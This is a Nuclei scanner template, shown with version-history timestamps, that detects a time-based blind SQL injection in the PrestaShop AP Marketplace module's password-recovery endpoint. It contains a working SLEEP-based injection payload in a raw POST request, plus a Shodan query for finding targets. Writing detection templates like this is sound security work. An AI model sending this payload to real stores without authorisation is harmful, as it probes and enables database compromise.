nuclei-templates/http/vulnerabilities/prestashop/prestashop-apmarketplace-sq...

35 lines
1.3 KiB
YAML
Raw Permalink Normal View History

id: prestashop-apmarketplace-sqli
2023-07-24 22:10:33 +00:00
info:
name: PrestaShop Ap Marketplace SQL Injection
author: mastercho
2023-08-02 03:53:57 +00:00
severity: high
2023-07-24 22:10:33 +00:00
description: |
The AP Marketplace Prestashop module is vulnerable to Blind/Time SQL Injection. An attacker can exploit this vulnerability to execute arbitrary SQL queries on the underlying database.
reference:
2023-08-02 03:53:57 +00:00
- https://www.openservis.cz/prestashop-blog/nejcastejsi-utoky-v-roce-2023-seznam-deravych-modulu-nemate-nejaky-z-nich-na-e-shopu-i-vy/#pll_switcher
2023-07-24 22:10:33 +00:00
metadata:
2023-08-02 03:53:57 +00:00
verified: true
2023-10-14 11:27:55 +00:00
max-request: 1
2023-08-02 03:53:57 +00:00
shodan-query: http.component:"Prestashop"
tags: prestashop,sqli
2023-07-24 22:10:33 +00:00
http:
- raw:
- |
@timeout: 20s
2023-07-24 22:10:33 +00:00
POST /m/apmarketplace/passwordrecovery HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2023-08-02 03:53:57 +00:00
Referer: {{RootURL}}
2023-07-24 22:10:33 +00:00
X-Requested-With: XMLHttpRequest
email=" AND (SELECT 3472 FROM (SELECT(SLEEP(6)))UTQK)-- IGIe&submit_reset_pwd=
2023-07-24 22:17:37 +00:00
2023-07-24 22:10:33 +00:00
matchers:
- type: dsl
dsl:
2023-08-25 12:23:28 +00:00
- 'duration_2>=6'
- 'contains(body, "module-apmarketplace-passwordrecovery")'
2023-10-14 11:27:55 +00:00
condition: and
# digest: 4a0a0047304502203e76a36993ea8e5483ba55aa5d7e5a3a53186239bfe398154c494e16408f55d9022100cba87aefa2e35954936fe3d80503cb55fae7199c55fd100625c1648c022c73ec:922c64590222798bb761d5b6d8e72950